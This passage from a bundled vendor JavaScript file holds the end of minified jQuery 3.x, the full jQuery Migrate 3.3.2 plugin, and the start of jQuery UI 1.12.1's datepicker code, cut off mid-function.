v.data),!1===v.cache&&(f=f.replace(Lt,"$1"),o=(Et.test(f)?"&":"?")+"_="+Ct.guid+++o),v.url=f+o),v.ifModified&&(S.lastModified[f]&&T.setRequestHeader("If-Modified-Since",S.lastModified[f]),S.etag[f]&&T.setRequestHeader("If-None-Match",S.etag[f])),(v.data&&v.hasContent&&!1!==v.contentType||t.contentType)&&T.setRequestHeader("Content-Type",v.contentType),T.setRequestHeader("Accept",v.dataTypes[0]&&v.accepts[v.dataTypes[0]]?v.accepts[v.dataTypes[0]]+("*"!==v.dataTypes[0]?", "+It+"; q=0.01":""):v.accepts["*"]),v.headers)T.setRequestHeader(i,v.headers[i]);if(v.beforeSend&&(!1===v.beforeSend.call(y,T,v)||h))return T.abort();if(u="abort",b.add(v.complete),T.done(v.success),T.fail(v.error),c=Bt(Mt,v,t,T)){if(T.readyState=1,g&&m.trigger("ajaxSend",[T,v]),h)return T;v.async&&0<v.timeout&&(d=C.setTimeout(function(){T.abort("timeout")},v.timeout));try{h=!1,c.send(a,l)}catch(e){if(h)throw e;l(-1,e)}}else l(-1,"No Transport");function l(e,t,n,r){var i,o,a,s,u,l=t;h||(h=!0,d&&C.clearTimeout(d),c=void 0,p=r||"",T.readyState=0<e?4:0,i=200<=e&&e<300||304===e,n&&(s=function(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}(v,T,n)),!i&&-1<S.inArray("script",v.dataTypes)&&(v.converters["text script"]=function(){}),s=function(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}(v,s,T,i),i?(v.ifModified&&((u=T.getResponseHeader("Last-Modified"))&&(S.lastModified[f]=u),(u=T.getResponseHeader("etag"))&&(S.etag[f]=u)),204===e||"HEAD"===v.type?l="nocontent":304===e?l="notmodified":(l=s.state,o=s.data,i=!(a=s.error))):(a=l,!e&&l||(l="error",e<0&&(e=0))),T.status=e,T.statusText=(t||l)+"",i?x.resolveWith(y,[o,l,T]):x.rejectWith(y,[T,l,a]),T.statusCode(w),w=void 0,g&&m.trigger(i?"ajaxSuccess":"ajaxError",[T,v,i?o:a]),b.fireWith(y,[T,l]),g&&(m.trigger("ajaxComplete",[T,v]),--S.active||S.event.trigger("ajaxStop")))}return T},getJSON:function(e,t,n){return S.get(e,t,n,"json")},getScript:function(e,t){return S.get(e,void 0,t,"script")}}),S.each(["get","post"],function(e,i){S[i]=function(e,t,n,r){return m(t)&&(r=r||n,n=t,t=void 0),S.ajax(S.extend({url:e,type:i,dataType:r,data:t,success:n},S.isPlainObject(e)&&e))}}),S.ajaxPrefilter(function(e){var t;for(t in e.headers)"content-type"===t.toLowerCase()&&(e.contentType=e.headers[t]||"")}),S._evalUrl=function(e,t,n){return S.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,converters:{"text script":function(){}},dataFilter:function(e){S.globalEval(e,t,n)}})},S.fn.extend({wrapAll:function(e){var t;return this[0]&&(m(e)&&(e=e.call(this[0])),t=S(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(n){return m(n)?this.each(function(e){S(this).wrapInner(n.call(this,e))}):this.each(function(){var e=S(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=m(t);return this.each(function(e){S(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not("body").each(function(){S(this).replaceWith(this.childNodes)}),this}}),S.expr.pseudos.hidden=function(e){return!S.expr.pseudos.visible(e)},S.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},S.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};var _t={0:200,1223:204},zt=S.ajaxSettings.xhr();y.cors=!!zt&&"withCredentials"in zt,y.ajax=zt=!!zt,S.ajaxTransport(function(i){var o,a;if(y.cors||zt&&!i.crossDomain)return{send:function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest"),e)r.setRequestHeader(n,e[n]);o=function(e){return function(){o&&(o=a=r.onload=r.onerror=r.onabort=r.ontimeout=r.onreadystatechange=null,"abort"===e?r.abort():"error"===e?"number"!=typeof r.status?t(0,"error"):t(r.status,r.statusText):t(_t[r.status]||r.status,r.statusText,"text"!==(r.responseType||"text")||"string"!=typeof r.responseText?{binary:r.response}:{text:r.responseText},r.getAllResponseHeaders()))}},r.onload=o(),a=r.onerror=r.ontimeout=o("error"),void 0!==r.onabort?r.onabort=a:r.onreadystatechange=function(){4===r.readyState&&C.setTimeout(function(){o&&a()})},o=o("abort");try{r.send(i.hasContent&&i.data||null)}catch(e){if(o)throw e}},abort:function(){o&&o()}}}),S.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),S.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return S.globalEval(e),e}}}),S.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),S.ajaxTransport("script",function(n){var r,i;if(n.crossDomain||n.scriptAttrs)return{send:function(e,t){r=S("<script>").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var Ut,Xt=[],Vt=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Xt.pop()||S.expando+"_"+Ct.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Vt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Vt.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Vt,"$1"+r):!1!==e.jsonp&&(e.url+=(Et.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,Xt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),y.createHTMLDocument=((Ut=E.implementation.createHTMLDocument("").body).innerHTML="<form></form><form></form>",2===Ut.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1<s&&(r=vt(e.slice(s)),e=e.slice(0,s)),m(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),0<a.length&&S.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?S("<div>").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):("number"==typeof f.top&&(f.top+="px"),"number"==typeof f.left&&(f.left+="px"),c.css(f))}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return $(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=$e(y.pixelPosition,function(e,t){if(t)return t=Be(e,n),Me.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return $(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0<arguments.length?this.on(n,null,e,t):this.trigger(n)}});var Gt=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;S.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),m(e))return r=s.call(arguments,2),(i=function(){return e.apply(t||this,r.concat(s.call(arguments)))}).guid=e.guid=e.guid||S.guid++,i},S.holdReady=function(e){e?S.readyWait++:S.ready(!0)},S.isArray=Array.isArray,S.parseJSON=JSON.parse,S.nodeName=A,S.isFunction=m,S.isWindow=x,S.camelCase=X,S.type=w,S.now=Date.now,S.isNumeric=function(e){var t=S.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},S.trim=function(e){return null==e?"":(e+"").replace(Gt,"")},"function"==typeof define&&define.amd&&define("jquery",[],function(){return S});var Yt=C.jQuery,Qt=C.$;return S.noConflict=function(e){return C.$===S&&(C.$=Qt),e&&C.jQuery===S&&(C.jQuery=Yt),S},"undefined"==typeof e&&(C.jQuery=C.$=S),S});
4; 5/* AUTOGENERATED: jquery-migrate.min.js */ 6/*! jQuery Migrate v3.3.2 | (c) OpenJS Foundation and other contributors | jquery.org/license */ 7"undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)||[],o=r.exec(t)||[],i=1;i<=3;i++){if(+o[i]<+n[i])return 1;if(+n[i]<+o[i])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.3.2",n.console&&n.console.log&&(s&&e("3.0.0")||n.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),s.migrateWarnings&&n.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),n.console.log("JQMIGRATE: Migrate is installed"+(s.migrateMute?"":" with logging active")+", version "+s.migrateVersion));var r={};function u(e){var t=n.console;s.migrateDeduplicateWarnings&&r[e]||(r[e]=!0,s.migrateWarnings.push(e),t&&t.warn&&!s.migrateMute&&(t.warn("JQMIGRATE: "+e),s.migrateTrace&&t.trace&&t.trace()))}function t(e,t,r,n){Object.defineProperty(e,t,{configurable:!0,enumerable:!0,get:function(){return u(n),r},set:function(e){u(n),r=e}})}function o(e,t,r,n){e[t]=function(){return u(n),r.apply(this,arguments)}}s.migrateDeduplicateWarnings=!0,s.migrateWarnings=[],void 0===s.migrateTrace&&(s.migrateTrace=!0),s.migrateReset=function(){r={},s.migrateWarnings.length=0},"BackCompat"===n.document.compatMode&&u("jQuery is not compatible with Quirks Mode");var i,a,c,d={},l=s.fn.init,p=s.find,f=/\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/,y=/\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g,m=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;for(i in s.fn.init=function(e){var t=Array.prototype.slice.call(arguments);return"string"==typeof e&&"#"===e&&(u("jQuery( '#' ) is not a valid selector"),t[0]=[]),l.apply(this,t)},s.fn.init.prototype=s.fn,s.find=function(t){var r=Array.prototype.slice.call(arguments);if("string"==typeof t&&f.test(t))try{n.document.querySelector(t)}catch(e){t=t.replace(y,function(e,t,r,n){return"["+t+r+'"'+n+'"]'});try{n.document.querySelector(t),u("Attribute selector with '#' must be quoted: "+r[0]),r[0]=t}catch(e){u("Attribute selector with '#' was not fixed: "+r[0])}}return p.apply(this,r)},p)Object.prototype.hasOwnProperty.call(p,i)&&(s.find[i]=p[i]);o(s.fn,"size",function(){return this.length},"jQuery.fn.size() is deprecated and removed; use the .length property"),o(s,"parseJSON",function(){return JSON.parse.apply(null,arguments)},"jQuery.parseJSON is deprecated; use JSON.parse"),o(s,"holdReady",s.holdReady,"jQuery.holdReady is deprecated"),o(s,"unique",s.uniqueSort,"jQuery.unique is deprecated; use jQuery.uniqueSort"),t(s.expr,"filters",s.expr.pseudos,"jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),t(s.expr,":",s.expr.pseudos,"jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos"),e("3.1.1")&&o(s,"trim",function(e){return null==e?"":(e+"").replace(m,"")},"jQuery.trim is deprecated; use String.prototype.trim"),e("3.2.0")&&(o(s,"nodeName",function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},"jQuery.nodeName is deprecated"),o(s,"isArray",Array.isArray,"jQuery.isArray is deprecated; use Array.isArray")),e("3.3.0")&&(o(s,"isNumeric",function(e){var t=typeof e;return("number"==t||"string"==t)&&!isNaN(e-parseFloat(e))},"jQuery.isNumeric() is deprecated"),s.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){d["[object "+t+"]"]=t.toLowerCase()}),o(s,"type",function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?d[Object.prototype.toString.call(e)]||"object":typeof e},"jQuery.type is deprecated"),o(s,"isFunction",function(e){return"function"==typeof e},"jQuery.isFunction() is deprecated"),o(s,"isWindow",function(e){return null!=e&&e===e.window},"jQuery.isWindow() is deprecated")),s.ajax&&(a=s.ajax,c=/(=)\?(?=&|$)|\?\?/,s.ajax=function(){var e=a.apply(this,arguments);return e.promise&&(o(e,"success",e.done,"jQXHR.success is deprecated and removed"),o(e,"error",e.fail,"jQXHR.error is deprecated and removed"),o(e,"complete",e.always,"jQXHR.complete is deprecated and removed")),e},e("4.0.0")||s.ajaxPrefilter("+json",function(e){!1!==e.jsonp&&(c.test(e.url)||"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&c.test(e.data))&&u("JSON-to-JSONP auto-promotion is deprecated")}));var g=s.fn.removeAttr,h=s.fn.toggleClass,v=/\S+/g;function j(e){return e.replace(/-([a-z])/g,function(e,t){return t.toUpperCase()})}s.fn.removeAttr=function(e){var r=this;return s.each(e.match(v),function(e,t){s.expr.match.bool.test(t)&&(u("jQuery.fn.removeAttr no longer sets boolean properties: "+t),r.prop(t,!1))}),g.apply(this,arguments)};var Q,b=!(s.fn.toggleClass=function(t){return void 0!==t&&"boolean"!=typeof t?h.apply(this,arguments):(u("jQuery.fn.toggleClass( boolean ) is deprecated"),this.each(function(){var e=this.getAttribute&&this.getAttribute("class")||"";e&&s.data(this,"__className__",e),this.setAttribute&&this.setAttribute("class",!e&&!1!==t&&s.data(this,"__className__")||"")}))}),w=/^[a-z]/,x=/^(?:Border(?:Top|Right|Bottom|Left)?(?:Width|)|(?:Margin|Padding)?(?:Top|Right|Bottom|Left)?|(?:Min|Max)?(?:Width|Height))$/;s.swap&&s.each(["height","width","reliableMarginRight"],function(e,t){var r=s.cssHooks[t]&&s.cssHooks[t].get;r&&(s.cssHooks[t].get=function(){var e;return b=!0,e=r.apply(this,arguments),b=!1,e})}),s.swap=function(e,t,r,n){var o,i,a={};for(i in b||u("jQuery.swap() is undocumented and deprecated"),t)a[i]=e.style[i],e.style[i]=t[i];for(i in o=r.apply(e,n||[]),t)e.style[i]=a[i];return o},e("3.4.0")&&"undefined"!=typeof Proxy&&(s.cssProps=new Proxy(s.cssProps||{},{set:function(){return u("JQMIGRATE: jQuery.cssProps is deprecated"),Reflect.set.apply(this,arguments)}})),s.cssNumber||(s.cssNumber={}),Q=s.fn.css,s.fn.css=function(e,t){var r,n,o=this;return e&&"object"==typeof e&&!Array.isArray(e)?(s.each(e,function(e,t){s.fn.css.call(o,e,t)}),this):("number"==typeof t&&(r=j(e),n=r,w.test(n)&&x.test(n[0].toUpperCase()+n.slice(1))||s.cssNumber[r]||u('Number-typed values are deprecated for jQuery.fn.css( "'+e+'", value )')),Q.apply(this,arguments))};var A,k,S,M,N=s.data;s.data=function(e,t,r){var n,o,i;if(t&&"object"==typeof t&&2===arguments.length){for(i in n=s.hasData(e)&&N.call(this,e),o={},t)i!==j(i)?(u("jQuery.data() always sets/gets camelCased names: "+i),n[i]=t[i]):o[i]=t[i];return N.call(this,e,o),t}return t&&"string"==typeof t&&t!==j(t)&&(n=s.hasData(e)&&N.call(this,e))&&t in n?(u("jQuery.data() always sets/gets camelCased names: "+t),2<arguments.length&&(n[t]=r),n[t]):N.apply(this,arguments)},s.fx&&(S=s.Tween.prototype.run,M=function(e){return e},s.Tween.prototype.run=function(){1<s.easing[this.easing].length&&(u("'jQuery.easing."+this.easing.toString()+"' should use only one argument"),s.easing[this.easing]=M),S.apply(this,arguments)},A=s.fx.interval||13,k="jQuery.fx.interval is deprecated",n.requestAnimationFrame&&Object.defineProperty(s.fx,"interval",{configurable:!0,enumerable:!0,get:function(){return n.document.hidden||u(k),A},set:function(e){u(k),A=e}}));var R=s.fn.load,H=s.event.add,C=s.event.fix;s.event.props=[],s.event.fixHooks={},t(s.event.props,"concat",s.event.props.concat,"jQuery.event.props.concat() is deprecated and removed"),s.event.fix=function(e){var t,r=e.type,n=this.fixHooks[r],o=s.event.props;if(o.length){u("jQuery.event.props are deprecated and removed: "+o.join());while(o.length)s.event.addProp(o.pop())}if(n&&!n._migrated_&&(n._migrated_=!0,u("jQuery.event.fixHooks are deprecated and removed: "+r),(o=n.props)&&o.length))while(o.length)s.event.addProp(o.pop());return t=C.call(this,e),n&&n.filter?n.filter(t,e):t},s.event.add=function(e,t){return e===n&&"load"===t&&"complete"===n.document.readyState&&u("jQuery(window).on('load'...) called after load event occurred"),H.apply(this,arguments)},s.each(["load","unload","error"],function(e,t){s.fn[t]=function(){var e=Array.prototype.slice.call(arguments,0);return"load"===t&&"string"==typeof e[0]?R.apply(this,e):(u("jQuery.fn."+t+"() is deprecated"),e.splice(0,0,t),arguments.length?this.on.apply(this,e):(this.triggerHandler.apply(this,e),this))}}),s.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,r){s.fn[r]=function(e,t){return u("jQuery.fn."+r+"
7() event shorthand is deprecated"),0<arguments.length?this.on(r,null,e,t):this.trigger(r)}}),s(function(){s(n.document).triggerHandler("ready")}),s.event.special.ready={setup:function(){this===n.document&&u("'ready' event is deprecated")}},s.fn.extend({bind:function(e,t,r){return u("jQuery.fn.bind() is deprecated"),this.on(e,null,t,r)},unbind:function(e,t){return u("jQuery.fn.unbind() is deprecated"),this.off(e,null,t)},delegate:function(e,t,r,n){return u("jQuery.fn.delegate() is deprecated"),this.on(t,e,r,n)},undelegate:function(e,t,r){return u("jQuery.fn.undelegate() is deprecated"),1===arguments.length?this.off(e,"**"):this.off(t,e||"**",r)},hover:function(e,t){return u("jQuery.fn.hover() is deprecated"),this.on("mouseenter",e).on("mouseleave",t||e)}});function T(e){var t=n.document.implementation.createHTMLDocument("");return t.body.innerHTML=e,t.body&&t.body.innerHTML}function P(e){var t=e.replace(O,"<$1></$2>");t!==e&&T(e)!==T(t)&&u("HTML tags must be properly nested and closed: "+e)}var O=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,q=s.htmlPrefilter;s.UNSAFE_restoreLegacyHtmlPrefilter=function(){s.htmlPrefilter=function(e){return P(e),e.replace(O,"<$1></$2>")}},s.htmlPrefilter=function(e){return P(e),q(e)};var D,_=s.fn.offset;s.fn.offset=function(){var e=this[0];return!e||e.nodeType&&e.getBoundingClientRect?_.apply(this,arguments):(u("jQuery.fn.offset() requires a valid DOM element"),arguments.length?this:void 0)},s.ajax&&(D=s.param,s.param=function(e,t){var r=s.ajaxSettings&&s.ajaxSettings.traditional;return void 0===t&&r&&(u("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"),t=r),D.call(this,e,t)});var E,F,J=s.fn.andSelf||s.fn.addBack;return s.fn.andSelf=function(){return u("jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"),J.apply(this,arguments)},s.Deferred&&(E=s.Deferred,F=[["resolve","done",s.Callbacks("once memory"),s.Callbacks("once memory"),"resolved"],["reject","fail",s.Callbacks("once memory"),s.Callbacks("once memory"),"rejected"],["notify","progress",s.Callbacks("memory"),s.Callbacks("memory")]],s.Deferred=function(e){var i=E(),a=i.promise();return i.pipe=a.pipe=function(){var o=arguments;return u("deferred.pipe() is deprecated"),s.Deferred(function(n){s.each(F,function(e,t){var r="function"==typeof o[e]&&o[e];i[t[1]](function(){var e=r&&r.apply(this,arguments);e&&"function"==typeof e.promise?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[t[0]+"With"](this===a?n.promise():this,r?[e]:arguments)})}),o=null}).promise()},e&&e.call(i,i),i},s.Deferred.exceptionHook=E.exceptionHook),s});; 8/* AUTOGENERATED: jquery-ui.min.js */
vendor: 33,137 bytes, lines 9-14
9/*! jQuery UI - v1.12.1 - 2016-09-14 10* http://jqueryui.com 11* Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js, effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect-fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effects/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-size.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mixin.js, jquery-1-7.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio.js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable.js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, widgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, widgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js 12* Copyright jQuery Foundation and other contributors; Licensed MIT */ 13 14(function(t){"function"==typeof define&&define.amd?define(["jquery"],t):t(jQuery)})(function(t){function e(t){for(var e=t.css("visibility");"inherit"===e;)t=t.parent(),e=t.css("visibility");return"hidden"!==e}function i(t){for(var e,i;t.length&&t[0]!==document;){if(e=t.css("position"),("absolute"===e||"relative"===e||"fixed"===e)&&(i=parseInt(t.css("zIndex"),10),!isNaN(i)&&0!==i))return i;t=t.parent()}return 0}function s(){this._curInst=null,this._keyEvent=!1,this._disabledInputs=[],this._datepickerShowing=!1,this._inDialog=!1,this._mainDivId="ui-datepicker-div",this._inlineClass="ui-datepicker-inline",this._appendClass="ui-datepicker-append",this._triggerClass="ui-datepicker-trigger",this._dialogClass="ui-datepicker-dialog",this._disableClass="ui-datepicker-disabled",this._unselectableClass="ui-datepicker-unselectable",this._currentClass="ui-datepicker-current-day",this._dayOverClass="ui-datepicker-days-cell-over",this.regional=[],this.regional[""]={closeText:"Done",prevText:"Prev",nextText:"Next",currentText:"Today",monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],weekHeader:"Wk",dateFormat:"mm/dd/yy",firstDay:0,isRTL:!1,showMonthAfterYear:!1,yearSuffix:""},this._defaults={showOn:"focus",showAnim:"fadeIn",showOptions:{},defaultDate:null,appendText:"",buttonText:"...",buttonImage:"",buttonImageOnly:!1,hideIfNoPrevNext:!1,navigationAsDateFormat:!1,gotoCurrent:!1,changeMonth:!1,changeYear:!1,yearRange:"c-10:c+10",showOtherMonths:!1,selectOtherMonths:!1,showWeek:!1,calculateWeek:this.iso8601Week,shortYearCutoff:"+10",minDate:null,maxDate:null,duration:"fast",beforeShowDay:null,beforeShow:null,onSelect:null,onChangeMonthYear:null,onClose:null,numberOfMonths:1,showCurrentAtPos:0,stepMonths:1,stepBigMonths:12,altField:"",altFormat:"",constrainInput:!0,showButtonPanel:!1,autoSize:!1,disabled:!1},t.extend(this._defaults,this.regional[""]),this.regional.en=t.extend(!0,{},this.regional[""]),this.regional["en-US"]=t.extend(!0,{},this.regional.en),this.dpDiv=n(t("<div id='"+this._mainDivId+"' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>"))}function n(e){var i="button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";return e.on("mouseout",i,function(){t(this).removeClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&t(this).removeClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&t(this).removeClass("ui-datepicker-next-hover")}).on("mouseover",i,o)}function o(){t.datepicker._isDisabledDatepicker(m.inline?m.dpDiv.parent()[0]:m.input[0])||(t(this).parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover"),t(this).addClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&t(this).addClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&t(this).addClass("ui-datepicker-next-hover"))}function a(e,i){t.extend(e,i);for(var s in i)null==i[s]&&(e[s]=i[s]);return e}function r(t){return function(){var 